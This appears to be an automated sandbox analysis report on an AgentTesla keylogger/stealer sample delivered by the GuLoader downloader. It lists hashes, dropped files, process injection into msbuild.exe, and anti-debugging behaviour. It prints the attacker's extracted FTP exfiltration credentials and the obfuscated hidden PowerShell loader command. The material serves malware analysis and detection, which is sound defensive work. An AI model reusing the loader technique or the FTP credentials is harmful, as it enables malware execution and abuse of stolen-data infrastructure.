agenttesla | ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05

General

Target

ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
Size

682KB
MD5

55f2d796aae312c3ef0589c215749470
SHA1

151d39760a5318f483ccdcc9829fad5ac8afab52
SHA256

ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05
SHA512

e2e2d4699056203dcd2af6150e18727c6e54d3405504c5b5964a1f2f1f53c139d143d138395beede01886ab1a45e00fb72a65ae4e9238bf158289270767c3df8
SSDEEP

12288:GwFGHEnT8VJWMB5VmjFvK4Nk35wxcCMjHaylgimtdYM3O0V7bb:G5HEgVJj8jg4k5jCMjhlgZtub0V7

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: ftp
Host:
ftp://ftp.vvspijkenisse.nl
Port:
21
Username:
[email protected]
Password:
playingboyz231

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
2228	msbuild.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1632	powershell.exe
2228	msbuild.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1632 set thread context of 2228	1632	powershell.exe	31

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
File created	C:\Program Files (x86)\cockling.lnk	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
File opened for modification	C:\Program Files (x86)\cockling.lnk	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
File opened for modification	C:\Program Files (x86)\Kldebonnets.kod	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\bagvognen.lnk	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
File opened for modification	C:\Windows\Calottes.Doo	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
File opened for modification	C:\Windows\bagvognen.lnk	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
1632	powershell.exe
2228	msbuild.exe
2228	msbuild.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1632	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1632	powershell.exe
Token: SeDebugPrivilege	2228	msbuild.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2000 wrote to memory of 1632	2000	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe	28
PID 2000 wrote to memory of 1632	2000	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe	28
PID 2000 wrote to memory of 1632	2000	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe	28
PID 2000 wrote to memory of 1632	2000	ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe	28
PID 1632 wrote to memory of 2228	1632	powershell.exe	31
PID 1632 wrote to memory of 2228	1632	powershell.exe	31
PID 1632 wrote to memory of 2228	1632	powershell.exe	31
PID 1632 wrote to memory of 2228	1632	powershell.exe	31
PID 1632 wrote to memory of 2228	1632	powershell.exe	31
PID 1632 wrote to memory of 2228	1632	powershell.exe	31

C:\Users\Admin\AppData\Local\Temp\ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe
"C:\Users\Admin\AppData\Local\Temp\ea973e9c6f622a479e04107580a0ede92211fbd94b582d843e166fdc2d85dd05.exe"
1⤵
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:2000
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Induktion=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Sideordnes\Mellilita.Flu';$Evaporeringen139=$Induktion.SubString(50194,3);.$Evaporeringen139($Induktion)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1632
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\Rkkens.ini

Filesize
32B

MD5
a8ca1db6ae34f5e5c152094f44f92476

SHA1
9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7

SHA256
1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3

SHA512
e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Sideordnes\Kvababbelsers.Bum

Filesize
272KB

MD5
07680313c03d4287ff1b4976923d41f5

SHA1
01b440609e243762c5f8fefb97a73625e5ba2d4d

SHA256
a0a14bede619d41b689f53f9fad93517f0524167d23c246488d825cb18596c2f

SHA512
2bc17abbeee9d106e08302ba542e5e51b30664f5419c12b0d6551355fd72f26bf063771e7f9d9f92eda2349db026ee0362fcfba7f61e5a5ce985e06d429b9569

Download Submit
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Sideordnes\Mellilita.Flu

Filesize
49KB

MD5
4f519227d8762ab4a41ce7b824a05c7d

SHA1
5bec609db12c8880186abafc97eb21cad74e8366

SHA256
6e1b981cbce77169cfb154d3ad563a41bc9d7afa552798380bfc1133d72a0e88

SHA512
7a497b096b08521566628c56c98712ab204e40db73a255b9aee993bbf23dd799894d3929b8c0decb76c7ee679d9c4698ad6ffffe77ff6715bd586f1582a93bdd

Download Submit
memory/1632-174-0x0000000077B80000-0x0000000077D29000-memory.dmp

Filesize
1.7MB

Download
memory/1632-176-0x0000000074400000-0x00000000749AB000-memory.dmp

Filesize
5.7MB

Download
memory/1632-165-0x0000000074400000-0x00000000749AB000-memory.dmp

Filesize
5.7MB

Download
memory/1632-166-0x0000000002930000-0x0000000002970000-memory.dmp

Filesize
256KB

Download
memory/1632-171-0x00000000029F0000-0x00000000029F4000-memory.dmp

Filesize
16KB

Download
memory/1632-172-0x0000000006760000-0x0000000007952000-memory.dmp

Filesize
17.9MB

Download
memory/1632-173-0x0000000006760000-0x0000000007952000-memory.dmp

Filesize
17.9MB

Download
memory/1632-164-0x0000000074400000-0x00000000749AB000-memory.dmp

Filesize
5.7MB

Download
memory/1632-175-0x0000000077D70000-0x0000000077E46000-memory.dmp

Filesize
856KB

Download
memory/1632-167-0x0000000002930000-0x0000000002970000-memory.dmp

Filesize
256KB

Download
memory/1632-182-0x0000000006760000-0x0000000007952000-memory.dmp

Filesize
17.9MB

Download
memory/1632-178-0x0000000002930000-0x0000000002970000-memory.dmp

Filesize
256KB

Download
memory/2228-179-0x0000000077B80000-0x0000000077D29000-memory.dmp

Filesize
1.7MB

Download
memory/2228-180-0x000000006FF00000-0x0000000070F62000-memory.dmp

Filesize
16.4MB

Download
memory/2228-181-0x0000000000FE0000-0x00000000021D2000-memory.dmp

Filesize
17.9MB

Download
memory/2228-177-0x0000000000FE0000-0x00000000021D2000-memory.dmp

Filesize
17.9MB

Download
memory/2228-183-0x000000006FF00000-0x000000006FF40000-memory.dmp

Filesize
256KB

Download
memory/2228-184-0x000000006F810000-0x000000006FEFE000-memory.dmp

Filesize
6.9MB

Download
memory/2228-186-0x0000000000FE0000-0x00000000021D2000-memory.dmp

Filesize
17.9MB

Download
memory/2228-188-0x000000006F810000-0x000000006FEFE000-memory.dmp

Filesize
6.9MB

Download

Analysis

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